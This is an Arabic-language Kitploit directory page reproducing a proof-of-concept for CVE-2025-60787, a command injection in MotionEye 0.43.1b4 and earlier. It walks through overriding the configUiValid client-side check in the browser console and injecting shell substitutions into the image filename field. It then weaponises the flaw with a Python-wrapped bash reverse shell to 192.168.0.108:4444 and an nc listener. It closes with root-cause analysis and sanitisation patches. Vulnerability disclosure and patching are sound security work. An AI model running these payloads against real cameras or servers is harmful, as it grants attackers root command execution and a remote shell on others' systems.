Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-60787 — إثبات المفهوم لثغرة CVE-2025-60787، يوضح تنفيذ التعليمات البرمجية عن بُعد في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة جانب العميل وحقن الأوامر في اسم ملف الصورة. | Kitploit
أدوات/GitHubGitHub/prabhatverma47/cve-2025-60787
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

إثبات المفهوم لثغرة CVE-2025-60787، يوضح تنفيذ التعليمات البرمجية عن بُعد في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة جانب العميل وحقن الأوامر في اسم ملف الصورة.

عرض المستودع
منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
الرابط الأصلي: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE عبر تجاوز التحقق من جهة العميل

الملخص

أثناء اختبار أمني لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من جهة العميل داخل واجهة الويب. وهذا يسمح بإرسال مدخلات عشوائية، بما في ذلك الحمولات التي يمكن أن تؤدي إلى تنفيذ أوامر على الحاوية المضيفة. تشكل هذه المشكلة خطر تنفيذ الأوامر عن بُعد (RCE) إذا تم استغلالها.

الإصدارات المتأثرة: جميع الإصدارات حتى 0.43.1b4 شاملة
حالة التصحيح: لا يوجد تصحيح متاح حتى الآن. يوجد حل بديل مذكور في هذا التنبيه.
مرجع المشروع: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


البيئة

  • الهدف: MotionEye يعمل داخل Docker
  • الصورة: ghcr.io/motioneye-project/motioneye:edge
  • المنفذ المكشوف: 9999 مرتبط بمنفذ الحاوية
8765
  • بيانات الاختبار: admin / كلمة مرور فارغة (افتراضي)

  • خطوات إعادة الإنتاج

    1. إعداد الحاوية

    قم بتشغيل الأمر التالي لبدء تنزيل صورة Docker وتشغيل الحاوية

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. التحقق من الإصدار

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    النتيجة: خادم MotionEye 0.43.1b4 image

    3. الوصول إلى نظام الملفات

    بمجرد تشغيل حاوية Docker، يمكن الوصول إلى قشرة الحاوية باستخدام الأوامر التالية

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. الوصول الأولي

    الوصول إلى الواجهة عبر:
    http://127.0.0.1:9999
    تسجيل الدخول: admin (كلمة مرور فارغة)

    5. إعداد الكاميرا

    تمت إضافة كاميرا شبكة RTSP نموذجية.
    image

    6. محاولة الحقن

    تم إدخال أمر تنفيذ خبيث في حقل "الصور الثابتة" > "اسم ملف الصورة"، ولكن تم مواجهة خطأ في التحقق من جهة العميل.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    تم حظره بواسطة التحقق من جهة العميل.
    image

    image

    7. اكتشاف التحقق من جهة العميل

    البرنامج النصي التالي مسؤول عن التحقق: /static/js/main.js?v=0.43.1b4، والذي يشير إلى /static/js/ui.js?v=0.43.1b4 لتنفيذ شروط التحقق.

    الملف: /static/js/main.js?v=0.43.1b4 يشير إلى /static/js/ui.js?v=0.43.1b4

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. تقنية التجاوز

    من خلال تجاوز دالة configUiValid في وحدة تحكم المتصفح، يمكن تجاوز جميع فحوصات التحقق: أدخل المقتطف التالي في وحدة تحكم المتصفح (F12 أو Ctrl+Shift+I)

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. تنفيذ الحمولة

    الآن يمكن إدخال الحمولة مباشرة دون أي تحقق: قم بتعيين ما يلي وتطبيق الإعدادات

    الإعدادات:

    • وضع الالتقاط = لقطات دورية
    • الفاصل الزمني = 10
    • اسم ملف الصورة:
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    تم التطبيق ← تم إنشاء الملف بصلاحيات الجذر.

    image

    التأثير: تسليح RCE

    إنتاج قشرة عكسية بسيطة:

    المستمع:

    root@kitploit:~
    nc -lvnp 4444
    
    image

    الحمولة المحقونة:

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    النتيجة: تم الحصول على قشرة عن بُعد.


    السبب الجذري وسير العمل

    MotionEye عرضة للخطر لأنه يأخذ مدخلات المستخدم من لوحة الويب ويكتبها مباشرة في ملفات إعدادات Motion دون التحقق من الأحرف الخطرة. على سبيل المثال، يتم إرسال حقل image_file_name في الواجهة إلى الخادم الخلفي (config.py) وحفظه في /etc/motioneye/camera-.conf. عندما يعيد MotionEye تشغيل خدمة Motion (motionctl.start)، تقرأ عملية Motion ملف الإعداد هذا. إذا كان حقل picture_filename يحتوي على صيغة قشرة مثل $(touch /tmp/test)، فسيقوم Motion بتشغيلها كأمر حقيقي بدلاً من معاملتها كجزء من اسم الملف.

    مدخلات غير معقّمة تُكتب في ملفات إعدادات Motion:
    Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


    الوقاية

    إصلاح التعقيم

    الملف: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    تطبيق التعقيم:

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    قبل: image بعد: image


    حل بديل

    الخطوة 1: تشغيل Docker

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    الخطوة 2: الوصول إلى الحاوية

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    الخطوة 3: تعديل الإعدادات

    الأصلي:

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    استبدل بـ:

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    الخطوة 4: إعادة التشغيل

    root@kitploit:~
    docker restart motioneye
    
    image

    تصحيح بديل

    داخل motion_camera_ui_to_dict(...):

    الأصلي:

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    استبدل بـ:

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

    تنزيل الأداة